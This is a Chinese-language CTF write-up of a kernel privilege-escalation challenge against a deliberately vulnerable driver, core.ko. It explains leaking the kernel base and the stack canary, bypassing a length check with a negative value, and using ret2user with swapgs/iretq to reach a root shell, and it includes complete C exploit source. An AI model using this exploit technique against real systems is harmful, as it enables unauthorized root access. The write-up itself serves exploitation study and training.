这个题目其实这两种做法区别不大,就是提权时候ROP会复杂很多,其实对应于我们用户态的时候ROP去完成ret2text的工作,道理差不多,我就主要分析一下ret2user
题目分析
附件
附件
结构分析
这是附件里面的内容,下面4个就是exp和exp源码,上面两个是驱动分析,主要内容就是tar.gz 多给了一个vmlinux可以用来找一些gadget 第一步还是看看start.sh
start.sh
这里需要改一下大小,不然跑不起来,同时可以看到开了kaslr保护,也就是地址随机化,所以需要泄露内核地址 修改以后的
分析文件结构
由于我们有gen-cpio,里面这个可以删了,同时里面的vmlinux也可以删了
init分析
加载的驱动时core.ko,同时他把kallsyms复制到了tmp下面,所以虽然他开了kptr_restrict,也就是除了root用户不可以读kallsyms,但我们可以通过读tmp下面的找kernel base 同时为了调试等目的,我修改如下
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
cat /sys/module/core/sections/.text
setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
umount /sys
poweroff -d 0 -f
这样一来就是方便一点 进来就可以看到驱动的加载地址,好调试
驱动分析
保护
有canary
ioctl
三个功能,read 从内核态读数据到用户态 off设置偏移,由于canary刚好在v5后面,所以可以修改偏移泄露canary copy_fun
这里有个判断,63是int ,所以写负数可以绕过,而下面memcpy刚好又是无符号,所以可以溢出,就是内核的栈溢出,然后这里内容是从name复制,name我们可以控制吗? 往name里面写<=0x800,绰绰有余
攻击
泄露kernel base
这一部分就是读取/tmp/kallsyms 里面是这样的东西,对应真实函数的加载地址,这里网上其实写复杂了
long commit_creds = 0, prepare_kernel_cred = 0,vmlinux_base = 0;
int find_symbol(){
FILE* fd = fopen("/tmp/kallsyms","r");
if (fd < 0){
puts("open symbol failed");
exit(0);
}
char buf[72] = {0};
while(fgets(buf, 72, fd))
{
if(strstr(buf, "commit_creds") ){
char hex[17] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
prepare_kernel_cred = vmlinux_base + 0x9cce0;
printf("vmlinux_load_base is 0x%lx\n",vmlinux_base);
return 0;
}
}
return 1;
}
我最开始是这样写的,但你发现其实不用,因为第三行其实就是kernel base 那我们修改一下
fgets是读取一行,但要保证长度够,可以看到前几行都是30几,我们就取40
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
long kernel_base;
int leak_kernel(){
FILE * fd=fopen("/tmp/kallsyms","r");
char buf[40];
while(fgets(buf,40,fd)){
if(strstr(buf,"startup_64")){
char hex[17];
strncpy(hex,buf,16);
sscanf(hex,"%lx",&kernel_base);
printf("kernel_base is 0x%lx",kernel_base);
return 0;
}
}
return 1;
}
int main(){
if(leak_kernel()){
exit(0);
}
}
找到需要用的函数的偏移
linux里面提权用到的函数就是 commit_creds prepare_kernel_cred prepare_kernel_cred就是当参数为0的时候,他会创建一个cred,这个cred对应的就是all priviliage,也就是权限为0 commit_creds就是通过给定的cred结构去更新,所以通过这两个函数我们可以达到提权的效果 通过pwntools加载vmlinux可以找到对应的kernel_base 同时这里我们还需要利用ropper去找从内核态访问用户态需要的gadget 由于内核比较大,所以我先保存下来 从内核切换到用户态需要两个 一个是swapgs 用来修改用户态和内核态的gs寄存器 一个是iretq 用来恢复用户态执行上下文 顺序是swapgs,再是iretq,因为iretq完了就直接回用户态执行了 这里几个差不多,popfq没啥影响,就多pop一次,我们也算一下offset
注意这里和ret没有关系,iretq就已经返回到用户态了
开始利用驱动漏洞
泄露canary
#include<sys/ioctl.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include <fcntl.h>
long kernel_base;
int leak_kernel(){
FILE * fd=fopen("/tmp/kallsyms","r");
char buf[40];
while(fgets(buf,40,fd)){
if(strstr(buf,"startup_64")){
char hex[17];
strncpy(hex,buf,16);
sscanf(hex,"%lx",&kernel_base);
printf("kernel_base is 0x%lx\n",kernel_base);
return 0;
}
}
return 1;
}
int main(){
if(leak_kernel()){
exit(0);
}
int fd=open("/proc/core",2);//打开设备
ioctl(fd,0x6677889C,0x40);//修改offset为0x40
long buf[8];
ioctl(fd, 0x6677889B,(char * )buf);//保存到用户态buf
printf("canary is 0x%lx",buf[0]);
}
ROP
这里由于没有开smep保护,所以内核可以执行用户态代码,并且是最高权限,所以利用这一点我们可以提权,因为我们这个时候的栈溢出其实是在内核里面,这个时候就算回到了用户态代码,但权限还是内核,所以可以做到提权,(如果开启了smep,那么就类似于用户态ROP,我们先pop rdi,ret 然后mov rdi,rax,再ret)
void get_root(){
__asm__(
"mov rdi,0;"
"mov rax,kernel_base;"
"add rax,0x9cce0;"//这一步是prepare_kernel_cred,参数是0
"call rax;"
"mov rdi,rax;"//返回值就是第二个的参数
"mov rax,kernel_base;"
"add rax,0x9c8e0;"//commid_creds
"call rax;"
);
}
ROP[8]是偏移,因为canary再rbp-0x10,所以需要0x40垃圾 所以返回地址自然就是ROP[10]
返回到用户态
执行完get_root,我们先执行swagps,这里面由于有个多的popf的操作,所以iretq隔了一个 iretq因为要回到用户态,所以后面需要放一下用户态需要的内容 其实我们可以看到,状态切换系统也尽量避免大范围的push pop,他只变动了这些,我们依次摆放 rip很简单,我们自己定义一个backdoor 剩下的只能我们自己保存了,但注意,cs,ss基本是不会有大变动的,flags其实比较无所谓,就算zf=0对于我们也不影响,rsp这个影响也不大,因为就算错了一点也不影响,所以我们写一个save_status函数,这个函数在哪里执行都行 这里我放到一开始执行,但记住只要在ROP赋值前都可以
触发栈溢出
分为两步,首先调用write,往内核态的name里面写入内容 接下来就是栈溢出,但这里要利用负数绕过判断
final exp
#include<sys/ioctl.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
#include <fcntl.h>
#include <unistd.h>
long kernel_base;
int leak_kernel(){
FILE * fd=fopen("/tmp/kallsyms","r");
char buf[40];
while(fgets(buf,40,fd)){
if(strstr(buf,"startup_64")){
char hex[17];
strncpy(hex,buf,16);
sscanf(hex,"%lx",&kernel_base);
printf("kernel_base is 0x%lx\n",kernel_base);
return 0;
}
}
return 1;
}
void get_root(){
__asm__(
"mov rdi,0;"
"mov rax,kernel_base;"
"add rax,0x9cce0;"
"call rax;"
"mov rdi,rax;"
"mov rax,kernel_base;"
"add rax,0x9c8e0;"
"call rax;"
);
}
void backdoor(){
system("/bin/sh");
}
long user_cs,user_ss,user_flag,user_rsp;
void save_status(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_flag;"
);
}
int main(){
save_status();
if(leak_kernel()){
exit(0);
}
int fd=open("/proc/core",2);
ioctl(fd,0x6677889C,0x40);
long buf[8];
ioctl(fd, 0x6677889B,(char * )buf);
printf("canary is 0x%lx\n",buf[0]);
long ROP[19];
ROP[8]=buf[0];
ROP[10]=(long)get_root;
ROP[11]=kernel_base+0xa012da;//swagps
ROP[13]=kernel_base+0x50ac2;//iretq
ROP[14]=(long)backdoor;
ROP[15]=user_cs;
ROP[16]=user_flag;
ROP[17]=user_rsp;
ROP[18]=user_ss;
write(fd,(char *)ROP,sizeof(ROP));
puts("[+]root now");
ioctl(fd,0x6677889A,0xffffffff00000000+sizeof(ROP));
}
修改init位普通用户权限
这里因为我用的是intel的汇编,所以要额外说明
gcc test.c -static -o test -masm=intel&&gen-cpio ../core.cpio
可以看到提权成功
|